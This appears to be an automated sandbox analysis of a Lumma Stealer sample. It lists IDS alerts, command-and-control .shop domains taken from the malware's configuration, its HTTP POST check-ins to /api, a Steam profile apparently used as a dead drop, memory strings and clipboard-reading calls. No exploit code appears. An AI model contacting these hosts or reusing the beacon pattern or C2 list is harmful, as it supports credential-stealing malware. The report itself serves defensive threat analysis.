Source: Network traffic	Suricata IDS: 2056157 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (drawzhotdog .shop in TLS SNI) : 192.168.2.4:58444 -> 104.21.58.182:443
Source: Network traffic	Suricata IDS: 2056153 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (stogeneratmns .shop in TLS SNI) : 192.168.2.4:58446 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2056163 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (ghostreedmnu .shop in TLS SNI) : 192.168.2.4:58441 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2056156 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (drawzhotdog .shop) : 192.168.2.4:64598 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056152 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (stogeneratmns .shop) : 192.168.2.4:53338 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056150 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (reinforcenh .shop) : 192.168.2.4:64447 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056165 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (gutterydhowi .shop in TLS SNI) : 192.168.2.4:58440 -> 104.21.4.136:443
Source: Network traffic	Suricata IDS: 2056161 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (offensivedzvju .shop in TLS SNI) : 192.168.2.4:58442 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2056158 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (vozmeatillu .shop) : 192.168.2.4:55892 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056159 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (vozmeatillu .shop in TLS SNI) : 192.168.2.4:58443 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2056151 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (reinforcenh .shop in TLS SNI) : 192.168.2.4:58447 -> 104.21.77.130:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:58449 -> 172.67.189.2:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:58441 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:58449 -> 172.67.189.2:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:58441 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:58447 -> 104.21.77.130:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:58447 -> 104.21.77.130:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:58440 -> 104.21.4.136:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:58440 -> 104.21.4.136:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:58443 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:58443 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:58442 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:58442 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:58444 -> 104.21.58.182:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:58444 -> 104.21.58.182:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:58445 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:58445 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:58446 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:58446 -> 188.114.96.3:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: reinforcenh.shop
Source: Malware configuration extractor	URLs: offensivedzvju.shop
Source: Malware configuration extractor	URLs: fragnantbui.shop
Source: Malware configuration extractor	URLs: lootebarrkeyn.shop
Source: Malware configuration extractor	URLs: stogeneratmns.shop
Source: Malware configuration extractor	URLs: ghostreedmnu.shop
Source: Malware configuration extractor	URLs: drawzhotdog.shop
Source: Malware configuration extractor	URLs: vozmeatillu.shop
Source: Malware configuration extractor	URLs: gutterydhowi.shop

Source: Joe Sandbox View	IP Address: 104.21.77.130 104.21.77.130
Source: Joe Sandbox View	IP Address: 104.21.4.136 104.21.4.136
Source: Joe Sandbox View	IP Address: 172.67.189.2 172.67.189.2

Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: gutterydhowi.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: ghostreedmnu.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: offensivedzvju.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: vozmeatillu.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: drawzhotdog.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: fragnantbui.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: stogeneratmns.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: reinforcenh.shop
Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: performenj.shop

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com

Source: RegAsm.exe, 00000002.00000002.1795323805.00000000012A1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: .com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.akamai.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/; equals www.youtube.com (Youtube)
Source: RegAsm.exe, 00000002.00000002.1795323805.00000000012A1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: LRPC-e9c77b0923665da6f1.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.akamai.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/; equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: lootebarrkeyn.shop
Source: global traffic	DNS traffic detected: DNS query: gutterydhowi.shop
Source: global traffic	DNS traffic detected: DNS query: ghostreedmnu.shop
Source: global traffic	DNS traffic detected: DNS query: offensivedzvju.shop
Source: global traffic	DNS traffic detected: DNS query: vozmeatillu.shop
Source: global traffic	DNS traffic detected: DNS query: drawzhotdog.shop
Source: global traffic	DNS traffic detected: DNS query: fragnantbui.shop
Source: global traffic	DNS traffic detected: DNS query: stogeneratmns.shop
Source: global traffic	DNS traffic detected: DNS query: reinforcenh.shop
Source: global traffic	DNS traffic detected: DNS query: steamcommunity.com
Source: global traffic	DNS traffic detected: DNS query: performenj.shop

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: gutterydhowi.shop

Source: RegAsm.exe, 00000002.00000002.1795323805.00000000012A1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:27060
Source: RegAsm.exe, 00000002.00000002.1795323805.000000000130E000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.1795323805.00000000012ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/account/cookiepreferences/
Source: RegAsm.exe, 00000002.00000002.1795323805.000000000130E000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.1795323805.00000000012ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/privacy_agreement/
Source: RegAsm.exe, 00000002.00000002.1795323805.000000000130E000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.1795323805.00000000012ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/subscriber_agreement/
Source: RegAsm.exe, 00000002.00000002.1795323805.00000000012A1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.steampowered.com/
Source: RegAsm.exe, 00000002.00000002.1795323805.00000000012ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://avatars.akamai.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg
Source: RegAsm.exe, 00000002.00000002.1795323805.00000000012A1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://broadcast.st.dl.eccdnx.com
Source: RegAsm.exe, 00000002.00000002.1795323805.00000000012A1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://checkout.steampowered.com/
Source: RegAsm.exe, 00000002.00000002.1795323805.00000000012A1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/
Source: RegAsm.exe, 00000002.00000002.1795323805.00000000012ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/applications/community/main.css?v=nSnUuYf7g6U1&a
Source: RegAsm.exe, 00000002.00000002.1795323805.00000000012ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/images/skin_1/arrowDn9x5.gif
Source: RegAsm.exe, 00000002.00000002.1795323805.000000000130E000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.1795323805.00000000012ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1
Source: RegAsm.exe, 00000002.00000002.1795323805.00000000012ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6
Source: RegAsm.exe, 00000002.00000002.1795323805.00000000012ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/applications/community/main.js?v=PzKBszTg
Source: RegAsm.exe, 00000002.00000002.1795323805.00000000012ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/applications/community/manifest.js?v=WnGP
Source: RegAsm.exe, 00000002.00000002.1795323805.00000000012A1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drawzhotdog.shop/
Source: RegAsm.exe, 00000002.00000002.1795323805.00000000012A1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fragnantbui.shop/api
Source: RegAsm.exe, 00000002.00000002.1795323805.0000000001276000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gutterydhowi.shop/api
Source: RegAsm.exe, 00000002.00000002.1795323805.00000000012A1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://help.steampowered.com/
Source: RegAsm.exe, 00000002.00000002.1795323805.00000000012A1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.steampowered.com/
Source: RegAsm.exe, 00000002.00000002.1795323805.00000000012A1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lv.queniujq.cn
Source: RegAsm.exe, 00000002.00000002.1795323805.00000000012A1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://medal.tv
Source: RegAsm.exe, 00000002.00000002.1795323805.00000000012A1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://offensivedzvju.shop/
Source: RegAsm.exe, 00000002.00000002.1795323805.00000000012ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://performenj.shop/
Source: RegAsm.exe, 00000002.00000002.1795323805.00000000012ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://performenj.shop/G
Source: RegAsm.exe, 00000002.00000002.1795323805.0000000001276000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.1795323805.00000000012ED000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.1795323805.00000000012A1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://performenj.shop/api
Source: RegAsm.exe, 00000002.00000002.1795323805.00000000012A1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://performenj.shop/apiG
Source: RegAsm.exe, 00000002.00000002.1795323805.00000000012ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://performenj.shop/vo
Source: RegAsm.exe, 00000002.00000002.1795323805.00000000012A1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://player.vimeo.com
Source: RegAsm.exe, 00000002.00000002.1795323805.00000000012A1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://recaptcha.net/recaptcha/;
Source: RegAsm.exe, 00000002.00000002.1795323805.00000000012ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://reinforcenh.shop/
Source: RegAsm.exe, 00000002.00000002.1795323805.0000000001276000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.1795323805.00000000012A1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://reinforcenh.shop/api
Source: RegAsm.exe, 00000002.00000002.1795323805.00000000012A1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://reinforcenh.shop/api2
Source: RegAsm.exe, 00000002.00000002.1795323805.00000000012A1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://s.ytimg.com;
Source: RegAsm.exe, 00000002.00000002.1795323805.00000000012A1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sketchfab.com
Source: RegAsm.exe, 00000002.00000002.1795323805.00000000012A1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steam.tv/
Source: RegAsm.exe, 00000002.00000002.1795323805.00000000012A1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcast-test.akamaized.net
Source: RegAsm.exe, 00000002.00000002.1795323805.00000000012A1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcast.akamaized.net
Source: RegAsm.exe, 00000002.00000002.1795323805.00000000012A1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcastchat.akamaized.net
Source: RegAsm.exe, 00000002.00000002.1795323805.00000000012A1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/
Source: RegAsm.exe, 00000002.00000002.1795323805.0000000001276000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/K
Source: RegAsm.exe, 00000002.00000002.1795323805.000000000130E000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.1795323805.00000000012ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org
Source: RegAsm.exe, 00000002.00000002.1795323805.00000000012ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900/badges
Source: RegAsm.exe, 00000002.00000002.1795323805.00000000012ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900/inventory/
Source: RegAsm.exe, 00000002.00000002.1795323805.00000000012ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/x
Source: RegAsm.exe, 00000002.00000002.1795323805.00000000012A1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://stogeneratmns.shop/api
Source: RegAsm.exe, 00000002.00000002.1795323805.00000000012A1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://stogeneratmns.shop/apiD
Source: RegAsm.exe, 00000002.00000002.1795323805.00000000012A1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/
Source: RegAsm.exe, 00000002.00000002.1795323805.00000000012A1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/;
Source: RegAsm.exe, 00000002.00000002.1795323805.000000000130E000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.1795323805.00000000012ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/legal/
Source: RegAsm.exe, 00000002.00000002.1795323805.00000000012A1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://vozmeatillu.shop/Y
Source: RegAsm.exe, 00000002.00000002.1795323805.00000000012A1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: RegAsm.exe, 00000002.00000002.1795323805.00000000012A1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/recaptcha/
Source: RegAsm.exe, 00000002.00000002.1795323805.00000000012A1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.cn/recaptcha/
Source: RegAsm.exe, 00000002.00000002.1795323805.00000000012A1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/recaptcha/
Source: RegAsm.exe, 00000002.00000002.1795323805.00000000012A1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com
Source: RegAsm.exe, 00000002.00000002.1795323805.00000000012A1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/

Source: unknown	Network traffic detected: HTTP traffic on port 58443 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58440 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58447
Source: unknown	Network traffic detected: HTTP traffic on port 58445 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58446 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58446
Source: unknown	Network traffic detected: HTTP traffic on port 58441 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58444 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58449
Source: unknown	Network traffic detected: HTTP traffic on port 58442 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58448
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58443
Source: unknown	Network traffic detected: HTTP traffic on port 58448 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58442
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58445
Source: unknown	Network traffic detected: HTTP traffic on port 58447 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58444
Source: unknown	Network traffic detected: HTTP traffic on port 58449 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58441
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58440

Source: unknown	HTTPS traffic detected: 104.21.4.136:443 -> 192.168.2.4:58440 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:58441 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:58442 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:58443 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.58.182:443 -> 192.168.2.4:58444 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:58445 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:58446 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.77.130:443 -> 192.168.2.4:58447 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.4:58448 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.189.2:443 -> 192.168.2.4:58449 version: TLS 1.2

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 2_2_00439000 OpenClipboard,GetWindowLongW,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,

2_2_00439000

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 2_2_00439000 OpenClipboard,GetWindowLongW,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,

2_2_00439000

System Summary

.NET source code contains very large array initializations

Source: a7HdB2dU5P.exe, MoveAngles.cs

Large array initialization: MoveAngles: array initializer size 364544

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00410480	2_2_00410480
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00447600	2_2_00447600
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0040FEBC	2_2_0040FEBC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0044004B	2_2_0044004B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00401000	2_2_00401000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0044B020	2_2_0044B020
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004450E0	2_2_004450E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004340F5	2_2_004340F5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004091F0	2_2_004091F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004012A7	2_2_004012A7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0042A345	2_2_0042A345
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0044B300	2_2_0044B300
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0040A3C0	2_2_0040A3C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0042C390	2_2_0042C390
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00449390	2_2_00449390
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00407470	2_2_00407470
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0040B470	2_2_0040B470
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0040E470	2_2_0040E470
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00405400	2_2_00405400
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00411420	2_2_00411420
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0042D56C	2_2_0042D56C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0042D58E	2_2_0042D58E
